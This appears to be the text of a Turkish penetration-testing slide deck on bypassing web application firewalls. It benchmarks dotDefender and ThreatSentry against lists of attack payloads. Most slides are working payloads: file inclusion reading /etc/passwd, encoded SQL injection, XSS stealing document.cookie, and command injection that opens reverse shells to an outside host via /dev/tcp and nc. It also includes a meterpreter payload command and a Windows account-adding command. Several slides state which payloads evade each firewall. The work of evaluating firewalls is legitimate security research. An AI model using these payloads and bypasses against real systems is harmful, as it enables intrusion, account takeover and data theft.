(W)eb (A)pplication (F)irewall Bypass http://www.bga.com.tr bilgi@bga.com.tr
Hakkımda Mehmet Dursun İnce ( @mmetince ) Penetration Tester @BGA Vuln. Researcher @BGA mehmet.ince@bga.com.tr
WAF Nedir? WAF nedir? Pentester WAF + Web Sunucusu Veri Tabanı Sistemi
SQLi XSS LFI RCE Command Injection Code Execution Testler Otomatize Tool lar ve WAF.
DMZ dotdefender CentOS 5.x MySQL Centos 5.x Pentester ModSecurity CentOS 5.x ThreadSentry Windows Server 2003 Sql Server 2008 Windows Server 2008
Payloads # File Inclusion../..%2F passwd../config.php..%2fconfig.php /etc/passwd../../../../../../../../../etc/passwd..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc..% 2Fpasswd php://filter/read=convert.base64- encode/resource=[file]
Payloads # SQL Injection a ' and '3'='3 ) and ('1')=('1 or 1=1 and 1=1 and 2>=1 and 1924-23>=1920
Payloads # MySQL Injection and substring(@@version,1,1)>0 and substring(version(),1,1)>0 and SubsTRing(version(),1,1)>0 union select 192,282,333 And sleep(5) union+select+null%2cnull%2cload_file('lfi.php' )-- /*!UniOn*/%20/*!SElecT*/+192,282,333-- %23PTTmJopxdWJ%0AUNION%23PTTmJopxdWJ% 0ASeLEcT+null,null,version()--
Payloads # MsSQL Injection AND UNICODE(SUBSTRING(@@SERVERNAME,1,1)) > 1 %03AND%0CUNICODE%03(%03SUBSTRING%03( %03@@SERVERNAME%03,%031,1%03))%03>%0 31 %0DUNION%0DALL%0DSELECTNULL,NULL,@@SE RVERNAME-- IF(BINARY_CHECKSUM(7399)=BINARY_CHECKSU M(7399)) WAITFOR DELAY '0:0:5';
Payloads # XSS <script> <script></script> javascript alert(1) prompt(1) alert(/bga/) document.cookie <img srx=x:x onerror=prompt(document.cookie)//> <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d
Payloads # XSS <input onfocus=write(1) autofocus> <video onerror="javascript:alert(1)"><source></source></video> <body oninput=alert(1)><input autofocus> <frameset onload=alert(1)> <object data="data:text/html;base64,phnjcmlwdd5hbgvydcgxkt wvc2nyaxb0pg=="></object> <embed src="data:text/html;base64,phnjcmlwdd5hbgvydcgxktwv c2nyaxb0pg=="></embed> <script>({})[$='\143\157\156\163\164\162\165\143\164\1 57\162'][$]('\141\154\145\162\164\50document.cookie\5 1')()</script>
Payloads # Command Injection 8.8.8.8 ; cat /etc/passwd 8.8.8.8 ; echo selam > a 8.8.8.8 ; cat../config.php 8.8.8.8 && echo selam > a 8.8.8.8 && cat../config.php 8.8.8.8 ; wget 1.1.1.1/mince.txt
Payloads # Command Injection 8.8.8.8 && telnet 127.0.0.1 4444 /bin/bash telnet telnet 127.0.0.1 8888 8.8.8.8 && mknod backpipe p && nc 1.1.1.1 4343 0<backpipe /bin/bash 1>backpipe 8.8.8.8 && /bin/bash -i > /dev/tcp/1.1.1.1/4444 0<&1 2>&1
Payloads # Code Execution./msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R./msfencode -e php/base64 -t raw
Applicure dotdefender «dotdefender is the perfect choice for protecting your website and web applications today.» http://www.applicure.com/
Applicure dotdefender Test Ortamı: CentOS 5.8 i386 sanal makine CentOS Full update Lisanslı dotdefender ve full update!
Applicure dotdefender File Inclusion Input :../config.php
Applicure dotdefender File Inclusion Input : /etc/passwd
Applicure dotdefender File Inclusion Input :../../../../../../../../../etc/passwd WAF detected!
Applicure dotdefender File Inclusion Saldırıyı engelleyen kural.
Applicure dotdefender File Inclusion Input : php://filter/read=convert.base64- encode/resource=/etc/passwd WAF trigger edilmedi
Applicure dotdefender SQL Injection a ' and '3'='3 ( and ('1')=('1 or 1=1 and 1=1 and 2>=1 and 1924-23>=1920 Yeşil olan payload lar WAF tarafından engellenmeyen talepleri ifade etmektedir!
Applicure dotdefender MySQL Injection and substring(@@version,1,1)>0 and substring(version(),1,1)>0 and SubsTRing(version(),1,1)>0 union select 1,2,3-- union select 192,282,333 And sleep(5) union+select+null%2cnull%2cload_file('lfi.php ')-- /*!UniOn*/%20/*!SElecT*/+192,282,333-- %23PTTmJopxdWJ%0AUNION%23PTTmJopxdWJ %0ASeLEcT+3,null,version()
Applicure dotdefender MsSQL Injection AND UNICODE(SUBSTRING(@@SERVERNAME,1,1)) > 1 %03AND%0CUNICODE%03(%03SUBSTRING%0 3(%03@@SERVERNAME%03,%031,1%03))%0 3>%031 %0DUNION%0DALL%0DSELECT%0DNULL,NUL L,@@SERVERNAME IF(BINARY_CHECKSUM(7399)=BINARY_CHECK SUM(7399)) WAITFOR DELAY '0:0:5';
Applicure dotdefender MsSQL Injection Input = UNION%0DALL%0DSELECT%0DNULL,NULL,@ @SERVERNAME WIN-UYB0EA2LDB6
Applicure dotdefender XSS Input = <script> Waf Blocked!
Applicure dotdefender XSS Input = alert() Waf Blocked! Input = prompt()
Applicure dotdefender XSS Input = <img src=bga onerror=prompt(document.cookie)//>
Applicure dotdefender XSS <img src=x:x onerror=prompt(document.cookie)//> <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d <input onfocus=write(1) autofocus> <video onerror="javascript:alert(1)"><source></sourc e></video> <body oninput=prompt(1)><input autofocus> <frameset onload=prompt(1)>
Applicure dotdefender XSS <object data="data:text/html;base64,phnjcmlwdd5hb GVydCgxKTwvc2NyaXB0Pg=="></object> <embed src="data:text/html;base64,phnjcmlwdd5hbg VydCgxKTwvc2NyaXB0Pg=="></embed> ({})[$='\143\157\156\163\164\162\165\143\ 164\157\162'][$]('\141\154\145\162\164\50 document.cookie\51')()
Applicure dotdefender Command Inj. Input = 8.8.8.8 ; cat /etc/passwd
Applicure dotdefender Command Inj. Input = 8.8.8.8 && /bin/bash -i > /dev/tcp/1.1.1.1/4545 0<&1 2>&1 WAF bypass!
Applicure dotdefender Command Inj. 8.8.8.8 ; cat /etc/passwd 8.8.8.8 ; echo selam > a 8.8.8.8 ; cat../config.php 8.8.8.8 && echo selam > a 8.8.8.8 && cat../config.php 8.8.8.8 ; wget 1.1.1.1/mince.txt 8.8.8.8 && telnet 127.0.0.1 4444 /bin/bash telnet telnet 127.0.0.1 8888 8.8.8.8 && mknod backpipe p && nc 1.1.1.1 4343 0<backpipe /bin/bash 1>backpipe 8.8.8.8 && /bin/bash -i > /dev/tcp/1.1.1.1/8888 0<&1 2>&1
App. dotdefender HTTP Header HTTP Header ile gönderilen bilgilerin WAF tarafından incelenip incelenmediği test edilmiştir. User-Agent Cookie
App. dotdefender HTTP Header XSS User-Agent i boş olan talepleri, dotdefender saldırı olarak algılamaktadır.
App. dotdefender HTTP Header XSS Cookie değişkeni dotdefender tarafından takip edilmemektedir!
App. dotdefender Cookie SQL Inj. dotdefender Cookie değişkeni üzerinde bir inceleme yapmamaktadır. Bu nedenle cookie üzerinden SQL Injection saldırıları kolaylıkla gerçekleştirilebilir.
App. dotdefender Web Scanners Default kurulumda Saniyede 200 talebi aşan ip leri 10 dakikalığına banlanmaktadır.
App. dotdefender Netsparker Acunetix tüm zafiyetleri başarı ile tespit etmiştir.
App. dotdefender Acunetix Netsparker mssql.php üzerinde bulunan MsSQL Injection zafiyeti haricinde ki tüm zafiyetleri başarı ile tespit edebilmiştir.
Web Application Firewall & Intrusion Prevention Software for IIS ThreatSentry http://www.privacyware.com/intrusion_preve ntion.html
ThreatSentry Test Ortamı: Windows Server 2003 32bit sanal makine Full Windows update Tüm özellikleri aktif, 30 günlük test sürümü.
ThreatSentry File Inclusion Input :../config.php
ThreatSentry File Inclusion Input :../../../../../../../../../ WAF tespit edemedi.
ThreatSentry File Inclusion Input : php://filter/read=convert.base64- encode/resource=/etc/passwd WAF blocked!
ThreatSentry SQL Injection a ' and '3'='3 ( and ('1')=('1 or 1=1 and 1=1 and 2>=1 and 1924-23>=1920 Yeşil olan payload lar WAF tarafından engellenmeyen talepleri ifade etmektedir!
ThreatSentry MySQL Injection and substring(@@version,1,1)>0 and substring(version(),1,1)>0 and SubsTRing(version(),1,1)>0 union select 1,2,3-- And sleep(5) union+select+null%2cnull%2cload_file('lfi. php')-- /*!UniOn*/%20/*!SElecT*/+192,282,333 %23PTTmJopxdWJ%0AUNION%23PTTmJopxd WJ%0ASeLEcT+3,null,version()
ThreatSentry MsSQL Injection AND UNICODE(SUBSTRING(DB_NAME(),1,1)) > 1 %03AND%0CUNICODE%03(%03SUBSTRING%0 3(%03DB_NAME()%03,%031,1%03))%03>%03 1 %0DUNION%0DALL%0DSELECT%0DNULL,NUL L,DB_NAME() IF(BINARY_CHECKSUM(7399)=BINARY_CHECK SUM(7399)) WAITFOR DELAY '0:0:5';
ThreatSentry MsSQL Injection Input = UNION%0DALL%0DSELECT%0DNULL,NULL,DB _NAME() waftest
ThreatSentry XSS Input = <script> Waf Blocked!
ThreatSentry XSS Input = <img src=x:x onerror=prompt(document.cookie)//>
ThreatSentry XSS A Input = <body oninput=prompt(document.cookie)><input autofocus>
ThreatSentry XSS <img src=x:x onerror=prompt(document.cookie)//> <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d <input onfocus=write(1) autofocus> <video onerror="javascript:alert(1)"><source></sourc e></video> <body oninput=prompt(1)><input autofocus> <frameset onload=prompt(1)>
ThreatSentry XSS <object data="data:text/html;base64,phnjcmlwdd5hb GVydCgxKTwvc2NyaXB0Pg=="></object> <embed src="data:text/html;base64,phnjcmlwdd5hbg VydCgxKTwvc2NyaXB0Pg=="></embed> ({})[$='\143\157\156\163\164\162\165\143\ 164\157\162'][$]('\141\154\145\162\164\50 document.cookie\51')()
ThreatSentry Command Inj. Cmd.exe /C dir nc.exe 123.123.123.123 net user mince M1nc3 /add
ThreatSentry HTTP Header XSS User-Agent değişkeni ThreatSentry tarafından takip edilmemektedir!
ThreatSentry Netsparker Netsparker tüm zafiyetleri başarı ile tespit etmiştir.
ThreatSentry Acunetix Acunetix tüm zafiyetleri başarı ile tespit etmiştir.
Örnek Uygulama - 1
HTTP PARAMETER POLLUTION
Örnek Uygulama - 2
Teşekkürler